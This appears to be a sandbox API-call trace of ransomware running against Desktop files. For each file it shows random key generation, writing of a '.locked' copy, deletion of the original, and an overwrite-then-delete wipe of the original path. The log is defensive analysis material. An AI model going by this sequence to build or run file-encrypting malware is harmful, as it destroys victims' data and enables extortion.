	[0068.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KbQ_Jp_Ky1ec-nK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbq_jp_ky1ec-nk.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223dd940, ftCreationTime.dwHighDateTime=0x1d4d1ed, ftLastAccessTime.dwLowDateTime=0xc8c2be0, ftLastAccessTime.dwHighDateTime=0x1d4cbe1, ftLastWriteTime.dwLowDateTime=0xc8c2be0, ftLastWriteTime.dwHighDateTime=0x1d4cbe1, nFileSizeHigh=0x0, nFileSizeLow=0x23c0)) returned 1
	[0068.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KbQ_Jp_Ky1ec-nK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbq_jp_ky1ec-nk.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.578] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.579] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KbQ_Jp_Ky1ec-nK.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbq_jp_ky1ec-nk.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0068.580] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.580] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0068.580] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0068.580] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0068.580] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0068.582] SetEvent (hEvent=0xb4) returned 1
	[0068.583] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x23c0, lpOverlapped=0x0) returned 1
	[0068.584] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x23c0, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x23c0, lpOverlapped=0x0) returned 1
	[0068.584] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0068.584] CloseHandle (hObject=0xc4) returned 1
	[0068.585] CloseHandle (hObject=0xc0) returned 1
	[0068.585] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0068.586] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.586] SetEvent (hEvent=0xb4) returned 1
	[0068.586] SetEvent (hEvent=0x78) returned 1
	[0068.586] SetEvent (hEvent=0x80) returned 1
	[0068.586] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.586] SetEvent (hEvent=0x80) returned 1
	[0068.586] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3e) returned 1
	[0068.588] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KbQ_Jp_Ky1ec-nK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbq_jp_ky1ec-nk.png")) returned 1
	[0068.607] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.608] SetEvent (hEvent=0xa8) returned 1
	[0068.608] SetEvent (hEvent=0x78) returned 1
	[0068.612] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.612] SetEvent (hEvent=0x78) returned 1
	[0068.612] SetEvent (hEvent=0x80) returned 1
	[0068.612] SetEvent (hEvent=0xb4) returned 1
	[0068.612] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.613] SetEvent (hEvent=0xb4) returned 1
	[0068.614] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.615] SetEvent (hEvent=0xb4) returned 1
	[0068.615] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.615] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.615] SetEvent (hEvent=0xb4) returned 1
	[0068.615] SetEvent (hEvent=0x80) returned 1
	[0068.615] SetEvent (hEvent=0x78) returned 1
	[0068.615] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.616] SetEvent (hEvent=0x78) returned 1
	[0068.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KbQ_Jp_Ky1ec-nK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbq_jp_ky1ec-nk.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.617] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0068.617] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0068.636] CloseHandle (hObject=0xc0) returned 1
	[0068.645] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KbQ_Jp_Ky1ec-nK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbq_jp_ky1ec-nk.png")) returned 1
	[0068.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\So2CJKBAQ3_MNzog.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\so2cjkbaq3_mnzog.mp4"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5822b830, ftCreationTime.dwHighDateTime=0x1d4d4b0, ftLastAccessTime.dwLowDateTime=0xdfd92f30, ftLastAccessTime.dwHighDateTime=0x1d4d0a9, ftLastWriteTime.dwLowDateTime=0xdfd92f30, ftLastWriteTime.dwHighDateTime=0x1d4d0a9, nFileSizeHigh=0x0, nFileSizeLow=0x94a4)) returned 1
	[0068.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\So2CJKBAQ3_MNzog.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\so2cjkbaq3_mnzog.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.655] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\So2CJKBAQ3_MNzog.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\so2cjkbaq3_mnzog.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0068.656] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.656] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0068.657] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0068.657] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0068.657] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0068.659] SetEvent (hEvent=0x80) returned 1
	[0068.659] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x94a4, lpOverlapped=0x0) returned 1
	[0068.660] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x94a4, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x94a4, lpOverlapped=0x0) returned 1
	[0068.661] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0068.661] CloseHandle (hObject=0xc4) returned 1
	[0068.662] CloseHandle (hObject=0xc0) returned 1
	[0068.663] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.663] SetEvent (hEvent=0x80) returned 1
	[0068.663] SetEvent (hEvent=0x78) returned 1
	[0068.663] SetEvent (hEvent=0xb4) returned 1
	[0068.663] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.664] SetEvent (hEvent=0xb4) returned 1
	[0068.664] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3f) returned 1
	[0068.665] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\So2CJKBAQ3_MNzog.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\so2cjkbaq3_mnzog.mp4")) returned 1
	[0068.683] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.684] SetEvent (hEvent=0xa8) returned 1
	[0068.684] SetEvent (hEvent=0x78) returned 1
	[0068.688] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.688] SetEvent (hEvent=0x78) returned 1
	[0068.689] SetEvent (hEvent=0xb4) returned 1
	[0068.689] SetEvent (hEvent=0x80) returned 1
	[0068.689] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.689] SetEvent (hEvent=0x80) returned 1
	[0068.690] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.691] SetEvent (hEvent=0x80) returned 1
	[0068.691] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.691] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.691] SetEvent (hEvent=0x80) returned 1
	[0068.691] SetEvent (hEvent=0xb4) returned 1
	[0068.691] SetEvent (hEvent=0x78) returned 1
	[0068.691] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.692] SetEvent (hEvent=0x78) returned 1
	[0068.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\So2CJKBAQ3_MNzog.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\so2cjkbaq3_mnzog.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.693] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0068.693] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0068.720] CloseHandle (hObject=0xc0) returned 1
	[0068.729] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\So2CJKBAQ3_MNzog.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\so2cjkbaq3_mnzog.mp4")) returned 1
	[0068.915] SetEvent (hEvent=0xa8) returned 1
	[0068.915] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UHK6SgOn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhk6sgon.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedfd1f70, ftCreationTime.dwHighDateTime=0x1d4cd9f, ftLastAccessTime.dwLowDateTime=0xd005aac0, ftLastAccessTime.dwHighDateTime=0x1d4d4d2, ftLastWriteTime.dwLowDateTime=0xd005aac0, ftLastWriteTime.dwHighDateTime=0x1d4d4d2, nFileSizeHigh=0x0, nFileSizeLow=0x3d76)) returned 1
	[0068.915] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UHK6SgOn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhk6sgon.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.916] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.917] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UHK6SgOn.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhk6sgon.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0068.917] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.918] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0068.918] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0068.918] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0068.918] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0068.920] SetEvent (hEvent=0xb4) returned 1
	[0068.920] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x3d76, lpOverlapped=0x0) returned 1
	[0068.921] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x3d76, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x3d76, lpOverlapped=0x0) returned 1
	[0068.921] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0068.921] CloseHandle (hObject=0xc4) returned 1
	[0068.922] CloseHandle (hObject=0xc0) returned 1
	[0068.923] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.924] SetEvent (hEvent=0xb4) returned 1
	[0068.924] SetEvent (hEvent=0x78) returned 1
	[0068.924] SetEvent (hEvent=0x80) returned 1
	[0068.924] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.925] SetEvent (hEvent=0x80) returned 1
	[0068.925] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x37, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee8a0*=0x37) returned 1
	[0068.927] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UHK6SgOn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhk6sgon.mp3")) returned 1
	[0068.945] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0068.976] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.976] SetEvent (hEvent=0xa8) returned 1
	[0068.976] SetEvent (hEvent=0x78) returned 1
	[0068.982] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.983] SetEvent (hEvent=0x78) returned 1
	[0068.983] SetEvent (hEvent=0x80) returned 1
	[0068.983] SetEvent (hEvent=0xb4) returned 1
	[0068.983] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.984] SetEvent (hEvent=0xb4) returned 1
	[0068.987] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.987] SetEvent (hEvent=0xb4) returned 1
	[0068.987] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.988] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.988] SetEvent (hEvent=0xb4) returned 1
	[0068.988] SetEvent (hEvent=0x80) returned 1
	[0068.988] SetEvent (hEvent=0x78) returned 1
	[0068.988] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.988] SetEvent (hEvent=0x78) returned 1
	[0068.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UHK6SgOn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhk6sgon.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.991] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0068.991] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0069.007] CloseHandle (hObject=0xc0) returned 1
	[0069.026] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UHK6SgOn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhk6sgon.mp3")) returned 1
	[0069.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UtCAuv0GdF.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utcauv0gdf.swf"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191e3d80, ftCreationTime.dwHighDateTime=0x1d4cfa6, ftLastAccessTime.dwLowDateTime=0xa5835b50, ftLastAccessTime.dwHighDateTime=0x1d4cec7, ftLastWriteTime.dwLowDateTime=0xa5835b50, ftLastWriteTime.dwHighDateTime=0x1d4cec7, nFileSizeHigh=0x0, nFileSizeLow=0x33a0)) returned 1
	[0069.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UtCAuv0GdF.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utcauv0gdf.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.035] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UtCAuv0GdF.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utcauv0gdf.swf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0069.036] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.036] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0069.036] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0069.036] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0069.036] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0069.038] SetEvent (hEvent=0x80) returned 1
	[0069.038] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x33a0, lpOverlapped=0x0) returned 1
	[0069.039] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x33a0, lpOverlapped=0x0) returned 1
	[0069.040] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0069.040] CloseHandle (hObject=0xc4) returned 1
	[0069.041] CloseHandle (hObject=0xc0) returned 1
	[0069.041] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0069.041] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.041] SetEvent (hEvent=0x80) returned 1
	[0069.041] SetEvent (hEvent=0x78) returned 1
	[0069.041] SetEvent (hEvent=0xb4) returned 1
	[0069.041] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.042] SetEvent (hEvent=0xa8) returned 1
	[0069.042] SetEvent (hEvent=0xb4) returned 1
	[0069.042] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x39, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x39) returned 1
	[0069.043] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UtCAuv0GdF.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utcauv0gdf.swf")) returned 1
	[0069.061] SetEvent (hEvent=0x78) returned 1
	[0069.065] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.065] SetEvent (hEvent=0x78) returned 1
	[0069.065] SetEvent (hEvent=0xb4) returned 1
	[0069.065] SetEvent (hEvent=0x80) returned 1
	[0069.065] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.066] SetEvent (hEvent=0x80) returned 1
	[0069.068] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.068] SetEvent (hEvent=0x80) returned 1
	[0069.068] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.068] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.069] SetEvent (hEvent=0x80) returned 1
	[0069.069] SetEvent (hEvent=0xb4) returned 1
	[0069.069] SetEvent (hEvent=0x78) returned 1
	[0069.069] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.069] SetEvent (hEvent=0x78) returned 1
	[0069.069] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UtCAuv0GdF.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utcauv0gdf.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.070] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0069.070] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0069.086] CloseHandle (hObject=0xc0) returned 1
	[0069.097] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UtCAuv0GdF.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utcauv0gdf.swf")) returned 1
	[0069.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YOfE_up0byG PSSN0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yofe_up0byg pssn0.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3c2910, ftCreationTime.dwHighDateTime=0x1d4cdb4, ftLastAccessTime.dwLowDateTime=0x95334fc0, ftLastAccessTime.dwHighDateTime=0x1d4cae0, ftLastWriteTime.dwLowDateTime=0x95334fc0, ftLastWriteTime.dwHighDateTime=0x1d4cae0, nFileSizeHigh=0x0, nFileSizeLow=0x15581)) returned 1
